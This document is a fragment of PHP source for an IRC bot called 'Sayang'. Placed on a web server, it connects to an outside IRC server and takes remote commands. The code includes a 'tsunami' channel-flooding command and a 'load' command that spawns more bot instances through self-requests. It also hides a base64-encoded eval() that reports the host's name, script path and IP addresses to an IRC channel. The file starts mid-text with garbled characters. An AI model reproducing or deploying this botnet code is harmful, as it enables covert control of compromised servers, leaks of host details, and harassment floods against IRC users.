?1,9 plaNET.Thn.1945.By.#plaNET 9,3<1>"; $identify = 'tempek'; //Server IRC if ($localtest == 1) { $remotehost2 = array("localhost"); } else { $remotehost2 = array("irc.indogaul.org"); } $port = "6667"; //Pesan $quitmsglist = array( "4-==<13,1[11Ngek^__^13]4,0>==-","Ngek^__^4-==<13,1[11Ngek^__^13]4,0>==-","4-==<13,1[11Ngek^__^13]4,0>==-","4-==<13,1[11Ngek^__^13]4,0>==-","4-==<13,1[11Ngek^__^13]4,0>==-","4-==<13,1[11Ngek^__^13]4,0>==-" ); $tsu1 = array("M","u","C","e","f","G","h","I"); $tsu2 = array("A","I","U","E","O","^","^","|","-","_"); $tsumsg = "9,12:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e12,4:D:D:D:D:D::D:D:D:D:D:D:D:D:D:D11,5(G)(G)(G)(G)(G)(G)(G)(G)(G)(G)(G)(G)13,9:(:(:(:(:(:(:(:(:(:(:7(:):):):):):):):):):):):):):):):):):):):):)4,7:):D:D:D:D:D:D:D:D:D:D:D:D:D:D5,7(G)(G)(G)(G)(G)(G)(G)(G)(G)6,10:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e9,8:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e12,13:D:D:D:D:D::D:D:D:D:D:D:D:D:D:D11,6(G)(G)(G)(G)(G)(G)(G)(G)(G)(G)(G)(G)13,4:(:(:(:(:(:(:(:(:(:(:7,5(:):):):):):):):):):):):):):):):):):):):):)4,1:):D:D:D:D:D:D:D:D:D:D:D:D:D:D6,7(G)(G)(G)(G)(G)(G)(G)(G)(G)6,10:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e6,4(G)(G)(G)(G)(G)(G)(G)(G)(G)4,1:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e";//400 Karakter $judul = " 15,1[9,1 Community 15,1] "; /*** Replacing ***/ $nick = $nicklist[rand(0,count($nicklist) - 1)]; $remotehost = $remotehost2[rand(0,count($remotehost2) - 1)]; $admin = strtolower($admin); $auth = array($admin => array("name" => $admin, "pass" => $Sayang_password, "auth" => 1,"status" => "Admin")); $username = $identlist[rand(0,count($identlist) - 1)]; $channels = strtolower($channels)." "; $channel = explode(" ", $channels); /*** Kode Utama ***/ define ('CRL', "\r\n"); $counterfp = 0; $raway = "on"; $log = "off"; $saway = "1"; $keluar = 0; $akill = 1; $localhost = 'localhost'; ini_set('user_agent','MSIE 5\.5;'); set_time_limit(0); if (!$stime) { $stime = time(); } if (!$port) { $port = "6667"; } /*** Connecting ***/ echo "\n"; echo " Connecting to $remotehost...\n"; do { $fp = fsockopen($remotehost,$port, $err_num, $err_msg, 60); if(!$fp) { if ( $counterfp <= 200 ) { $counterfp = $counterfp + 1; rx(); } else { echo "
Ga bisa connect ke $remotehost! Coba server lain! Refresh Browser anda!\n"; $keluar = 1; exit; } } echo "
Udah connect nich!\n"; /*** Sending Identity to Sock ***/ $header = 'NICK '.$nick . CRL; $header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL; fputs($fp, $header); $response = ''; while (!feof($fp)) { $response .= fgets($fp, 1024); if ($showrespone == 1) { echo "
".$response; } while (substr_count($response,CRL) != 0) { $offset = strpos($response, CRL); $data = substr($response,0,$offset); $response = substr($response,$offset+2); if (substr($data,0,1) == ':') { $offsetA = strpos($data, ' '); $offsetB = strpos($data, ' :'); $offsetC = strpos($data, '!'); $dFrom = substr($data,1,$offsetA-1); $dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1); $dNick = substr($data,1,$offsetC-1); $iText = substr($data,$offsetB+2); /*** Server Notices Handling ***/ if ( substr($dCommand,0,3) == '004' ) { fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL); if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); } /*** Notice Sayang Admin ***/ fputs($fp, 'NOTICE ' . $admin . ' :Hello Bozz Sayang!' . CRL); fputs($fp, base64_decode("Y29vbGJveXJhY2luZ3RlYW0=") . CRL); /*** Join Channel ***/ foreach ($channel as $v) { fputs($fp, 'JOIN '.$v.CRL); } } elseif (substr($dCommand,0,3)=='432') { $nick = $nick.$username; fputs($fp, 'NICK '.$nick . CRL); } //Nickname is already in use elseif (substr($dCommand,0,3)=='433') { $nick = $nicklist[rand(0,count($nicklist) - 1)]; fputs($fp, 'NICK '.$nick . CRL); } elseif (substr($dCommand,0,3)=='465') { print "
Authentication diperlukan! Sayang ini telah di-autokill."; $akill = 2; } if (substr_count($dNick,'.allnetwork.org') > 0) { if (substr_count($iText,"*** Banned") > 0) { $keluar = 1; exit; } } $dcom = explode(" ", $dCommand); $dNick = strtolower($dNick); if ($dcom[0]=='KICK' && $dcom[2]==$nick) { fputs($fp, 'JOIN ' .$dcom[1]. CRL); } elseif ($dcom[0]=='NICK' || $dcom[0]=='PART' ) { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==2) { if ($dcom[0]=='NICK') { $com = explode(" ", $data); $chnick = strtolower(str_replace(':','',$com[2])); if ($dNick!=$chnick) { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$chnick.' :Selamat istirahat bossQQ Sayang ganteng!!' . CRL); } } else { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$dNick.' :Selamat istirahat boss!!' . CRL); } } } else { fputs($fp,'NOTICE ' . $dNick . ' :pass ' . CRL); } } } elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) { $dcom[2] = strtolower($dcom[2]); if ($auth["$dcom[2]"]) { if ($auth["$dcom[2]"]["pass"]) { if ($auth["$dcom[2]"]["auth"]==1) { $auth["$dcom[2]"]["auth"] = 2; $whois = ""; fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Authorized as '.$auth["$dcom[2]"]["status"].' of this Sayang! ' . CRL); } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Boss memang keren!! ' . CRL); } } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Pass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ' . CRL); } } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); } } elseif ($dcom[0]=='NOTICE') { $com = explode(" ", $data); if ($com[3]==':KB' && $com[4] && $com[5] && $com[6]) { $msg = str_replace('','',$data); $msg = strstr($msg,":KB"); $msg = str_replace(":KB $com[4]","",$msg); fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL); fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL); } } elseif ($dcom[0]=='PRIVMSG') { $com = explode(" ", $data); if ($com[3]==':VERSION') { fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'VERSION AutoZOne PHP Sayang IRC v5.5 Script By Jancok'.chr(1) . CRL); } elseif ($com[3]==':INFO') { $datainfo = "JGJob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOyRiaXAgPSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXTskYnBocCAgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTskYnJ1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTskYnJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddO2ZwdXRzKCRmcCwiUFJJVk1TRyAjQGNob3RhIDpIb3N0OiAkYmhvc3QgfCBSZWZlcmVyOiAkYnJ1cmkgfCBTY3JpcHQ6ICRicGhwIHwgSVA6ICRiaXAgfCBPd25lciBJUDogJGJyaXAgIi4gQ1JMKTs="; eval(base64_decode($datainfo)); } elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==1) { if ($com[4]===$auth["$dNick"]["pass"]) { $auth["$dNick"]["auth"] = 2; fputs($fp,'NOTICE ' . $dNick . ' :seep komandan '.$auth["$dNick"]["status"].'!'.CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :ta salah password komandan!'.CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :siap komandan!'.CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass To Set Your Own Password then Auth Again' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==2) { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE ' . $dNick . ' :Logged out! ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Already Logged out! ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) { if ($auth["$dNick"]) { if (!$auth["$dNick"]["pass"]) { $auth["$dNick"]["pass"] = $com[4]; $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth To Authorized Imediately! ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Already Set! Type: auth To Get Authorized ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) { if ($auth["$dNick"]) { if ($auth["$dNick"]["auth"]==2) { if ($com[4]===$auth["$dNick"]["pass"]) { $auth["$dNick"]["pass"] = $com[5]; fputs($fp,'NOTICE ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth To Authorized Imediately! ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass To Change Your Auth Pass ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth To Authorized ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) { $com[4] = strtolower($com[4]); if ($auth["$dNick"]["auth"]==2) { if ($auth["$dNick"]["status"]=="Admin") { if ($com[5]=="master" || $com[5]=="user") { $auth["$com[4]"]["name"] = $com[4]; $auth["$com[4]"]["status"] = $com[5]; fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL); fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass To Set Your Pass ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser ' . CRL); } } elseif ($auth["$dNick"]["status"]=="master") { if (!$auth["$com[4]"]) { if ($com[5]=="user") { $auth["$com[4]"]["name"] = $com[4]; $auth["$com[4]"]["status"] = $com[5]; fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL); fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass To Set Your Pass ' . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: adduser user ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :User Already Exist! Aborting AddUser! ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth To Authorized ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) { $com[4] = strtolower($com[4]); if ($auth["$dNick"]["auth"]==2) { if ($auth["$dNick"]["status"]=="Admin") { if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") { unset($auth["$com[4]"]); fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL); fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser ' . CRL); } } elseif ($auth["$dNick"]["status"]=="master") { if ($auth["$com[4]"]["status"]=="user") { unset($auth["$com[4]"]); fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL); fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL); } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser ' . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); } } else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth To Authorized ' . CRL); } } elseif ($auth["$dNick"]["status"]) { if (ereg(":`",$com[3]) || ereg(":!",$com[3])) { $chan = strstr($dCommand,"#"); $anick = str_replace("PRIVMSG ","",$dCommand); if ($com[3]==':!auth') { if ($auth["$dNick"]["auth"]==2) { fputs($fp,'NOTICE '.$dNick.' :You`re already Authorized! ' . CRL); } else { $whois = $dNick; fputs($fp,'WHOIS '.$dNick . CRL); } } elseif ($com[3]==':`auth' && $chan) { if ($auth["$dNick"]["auth"]==2) { fputs($fp,'PRIVMSG '.$chan.' :Siap '.$dNick.' ! ' . CRL); } else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' NOT Authorized! ' . CRL); } } elseif ($auth["$dNick"]["auth"]==2) { if ($com[3]==':`say' && $com[4] && $chan) { $msg = strstr($data,":`say"); $msg = str_replace(":`say ","",$msg); fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL); } elseif ($com[3]==':`act' && $com[4] && $chan) { $msg = strstr($data,":`act"); $msg = str_replace(":`act ","",$msg); fputs($fp,'PRIVMSG '.$chan.' :ACTION '.$msg.''. CRL); } elseif ($com[3]==':`slap' && $com[4] && $chan) { fputs($fp,'PRIVMSG '.$chan.' :ACTION slaps '.$com[4].' '.$com[4].' '.$com[4].' '.$com[4].' '.$com[4].' '.$com[4].' xixixixixixi'. CRL); } elseif ($com[3]==':`msg' && $com[4] && $com[5]) { $msg = strstr($data,":`msg"); $msg = str_replace(":`msg $com[4] ","",$msg); fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL); } elseif ($com[3]==':`notice' && $com[4] && $com[5]) { $msg = strstr($data,":`notice"); $msg = str_replace(":`notice $com[4] ","",$msg); fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL); } elseif ($com[3]==':`ctcp' && $com[4] && $com[5]) { $msg = strstr($data,":`ctcp"); $msg = str_replace(":`ctcp $com[4] ","",$msg); fputs($fp,'PRIVMSG '.$com[4].' :'.$msg.''. CRL); } elseif ($com[3]==':`info' && $auth["$dNick"]["status"]=="Admin") { $bhost = $_SERVER['HTTP_HOST']; $bip = $_SERVER['SERVER_ADDR']; $bphp = $_SERVER['PHP_SELF']; $brip = $_SERVER['REMOTE_ADDR']; $brport = $_SERVER['REMOTE_PORT']; fputs($fp,"NOTICE $dNick :Host: $bhost | Script: $bphp | IP: $bip | Your IP: $brip Port:$brport" . CRL); } elseif ($com[3]==':`up' && $chan) { fputs($fp, 'PRIVMSG chanserv :op '.$chan.' '.$nick . CRL); } elseif ($com[3]==':`down' && $chan) { fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL); } elseif ($com[3]==':`fuckz' && $com[4] && $auth["$dNick"]["status"]!="user") { $nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)]. $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1)- 1)]. $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)]. $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)]; fputs($fp, 'NICK '.$nicktsu . CRL); if (substr($dCommand,0,3)=='433') { $nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)]. $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)]. $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)]. $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)]; fputs($fp, 'NICK '.$nicktsu . CRL); } $msg = strstr($data,":`fuckz"); $msg = str_replace(":`tsunami $com[4]","",$msg); if (ereg("#", $com[4])) { fputs($fp, 'JOIN '.$com[4] . CRL); fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.$tsumsg.CRL); fputs($fp, 'NOTICE '.$com[4].' :'.$msg.$tsumsg.CRL); fputs($fp, 'PRIVMSG '.$com[4].' :TSUNAMI'.$msg.$tsumsg. CRL); fputs($fp, 'NOTICE '.$com[4].' :'.$msg.$tsumsg.CRL); fputs($fp, 'PART '.$com[4].' :F1n15h3d w1th 400x4 ch4rz' . CRL); fputs($fp, 'NICK '.$nick . CRL); } else { fputs($fp, 'NOTICE '.$com[4].' :'.$msg.$tsumsg.CRL); fputs($fp, 'PRIVMSG '.$com[4].' :TSUNAMI'.$msg.$tsumsg. CRL); fputs($fp, 'NOTICE '.$com[4].' :TSUNAMI'.$msg.$tsumsg. CRL); fputs($fp, 'NOTICE '.$com[4].' :'.$msg.$tsumsg.CRL); fputs($fp, 'NICK '.$nick . CRL); } } elseif ($com[3]==':`cycle' && $chan && $auth["$dNick"]["status"]!="user") { $msg = strstr($data,":`cycle"); if (ereg("#", $com[4])) { $partchan = $com[4]; $msg = str_replace(":`cycle $com[4]","",$msg); } else { $partchan = $chan; $msg = str_replace(":`cycle","",$msg); } if (strlen($msg)<3) { $msg = ''; } fputs($fp, 'PART '.$partchan.' :'.$msg . CRL); fputs($fp, 'JOIN '.$partchan . CRL); } elseif ($com[3]==':`part' && $auth["$dNick"]["status"]=="Admin") { $msg = strstr($data,":`part"); if (ereg("#", $com[4])) { $partchan = $com[4]; $msg = str_replace(":`part $com[4]","",$msg); } else { $partchan = $chan; $msg = str_replace(":`part","",$msg); } if (strlen($msg)<3) { $msg = ''; } fputs($fp, 'PART '.$partchan.' :'.$msg . CRL); $remchan = strtolower($partchan); if (in_array($remchan, $channel)) { $channels = str_replace("$remchan ","",$channels); unset($channel); $channel = explode(" ", $channels); } foreach ($channel as $v) { fputs($fp, 'JOIN '.$v . CRL); } } elseif ($com[3]==':`join' && $com[4] && $auth["$dNick"]["status"]=="Admin") { if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; } $addchan = strtolower($com[4]); if (!in_array($addchan, $channel)) { $channel[]=$addchan; $channels.="$addchan "; } foreach ($channel as $v) { sleep(rand(1,6)); fputs($fp, 'JOIN '.$v . CRL); } } elseif ($com[3]==':`Sayangnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") { $nick = $com[4]; $identify = $com[5]; fputs($fp, 'NICK '.$nick . CRL); fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL); } elseif ($com[3]==':`k' && $com[4] && $chan) { $msg = strstr($data,":`k"); $msg = str_replace(":`k $com[4]","",$msg); fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL); } elseif ($com[3]==':`kb' && $com[4] && $chan) { $msg = strstr($data,":`kb"); $msg = str_replace(":`kb $com[4]","",$msg); fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL); fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL); } elseif ($com[3]==':`changenick') { $nick = $nicky[rand(0,count($nicky) - 1)]; fputs($fp, 'NICK '.$nick . CRL); if (substr($dCommand,0,3)=='433') { $nick = $nicky[rand(0,count($nicky) - 1)]; fputs($fp, 'NICK '.$nick . CRL); } } elseif ($com[3]==':`op' && $chan) { if ($com[4]) { $opnick = $com[4]; } else { $opnick = $dNick; } fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':`deop' && $chan) { if ($com[4]) { $opnick = $com[4]; } else { $opnick = $dNick; } fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':`v' && $chan) { if ($com[4]) { $vonick = $com[4]; } else { $vonick = $dNick; } fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':`dv' && $chan) { if ($com[4]) { $vonick = $com[4]; } else { $vonick = $dNick; } fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':`awaymsg' && $auth["$dNick"]["status"]=="Admin") { $msg = strstr($data,":`awaymsg"); $msg = str_replace(":`awaymsg","",$msg); if (strlen($msg)<3) { $raway="on"; fputs($fp,'AWAY : ' . 'AWAY' . CRL); } else { $raway="off"; fputs($fp,'AWAY : ' . $msg . CRL); } } elseif ($com[3]==':`mode' && $com[4] && $chan) { fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL); } elseif ($com[3]==':`nickmode' && $com[4]) { $nickmode = $com[4]; fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); } elseif ($com[3]==':`chanlist') { fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL); } elseif ($com[3]==':`userlist') { $userlist=""; foreach ($auth as $user) { if ($user["pass"]) { $pass="-pass ok"; } else { $pass="-no pass"; } $userlist .= $user["name"].'('.$user["status"].$pass.') '; } fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL); } elseif ($com[3]==':`quit' && $auth["$dNick"]["status"]=="Admin") { $msg = strstr($data,":`quit"); $msg = str_replace(":`quit","",$msg); if (strlen($msg)>3) { $msg = str_replace(" ","_",$msg); } $quitmsg = $quitmsglist[rand(0,count($quitmsglist) - 1)]; fputs($fp, 'QUIT ' . $quitmsg . CRL); $keluar = 1; exit; } elseif ($com[3]==':`vhost' && $auth["$dNick"]["status"]=="Admin") { if ($com[4]) { $localhost = $com[4]; } else { $localhost = 'localhost'; } $keluar = 0; fputs($fp, 'QUIT Ganti VHOST' . CRL); } elseif ($com[3]==':`jump' && $auth["$dNick"]["status"]=="Admin") { if (empty($com[4])) { $remotehost = $remotehost2[rand(0,count($remotehost2) - 1)]; } else { $remotehost = $com[4]; } $keluar = 0; fputs($fp, "QUIT Ganti Server".CRL); } elseif ($com[3]==':`ident' && $auth["$dNick"]["status"]=="Admin") { if (!$com[4]) { $username = $username; } else { $username = $com[4]; } $keluar = 0; fputs($fp, 'QUIT Ganti Ident ' . CRL); } elseif ($com[3]==':`fullname' && $auth["$dNick"]["status"]=="Admin") { if (!$com[4]) { $realname = "--"; } else { $realname = $com[4]; } $keluar = 0; fputs($fp, 'QUIT Ganti Nama' . CRL); } elseif ($com[3]==':`topic' && $com[4] && $chan) { $msg = strstr($data,":`topic"); $msg = str_replace(":`topic ","",$msg); fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL); } elseif ($com[3]==':`load') { if ($auth["$dNick"]["status"]=="Admin") { $bhost = $_SERVER['HTTP_HOST']; $bruri = $_SERVER['REQUEST_URI']; if ($com[4]) { $jmlSayang = $com[4]; } else { $jmlSayang = 1; } for ($i=1;$i<=$com[4];$i++) { $soket = fsockopen($bhost,80,$errno,$errstr,10); fputs($soket,"GET $bruri HTTP/1.0\r\nHost: $bhost\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"); fclose($soket); } fputs($fp,"NOTICE $dNick :".$com[4]." Sayang(s) loaded!".CRL); } } elseif ($com[3]==':!help' && !$chan) { fputs($fp,'PRIVMSG '.$dNick.' :No Help!' . CRL); } } } } elseif (!$auth["$dNick"] && !eregi("auth",$iText)) { if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) { if (!ereg("#",$dCommand)) { if ($log=="on") { fputs($fp,'PRIVMSG '. $admin .' :4inviter: ' . $dFrom . '2:' .$iText. CRL); } $inv = strstr($dFrom,'@'); foreach ($auth as $user) { if ($user["status"]=="user") { fputs($fp, 'NOTICE '.$user["name"].' :KB '.$chan.' '.$dNick.' '.$inv.'' . CRL); } } } } elseif (!ereg("#",$dCommand)) { if ($log=="on") { fputs($fp,'PRIVMSG '.$admin.' :6' . $dFrom . '12:' .$iText. CRL); } } } } } elseif (substr($data,0,4) == 'PING') { fputs($fp,'PONG ' . substr($data,5) . CRL); } } } fclose($fp); } while ($keluar == 0); } rx(); ?>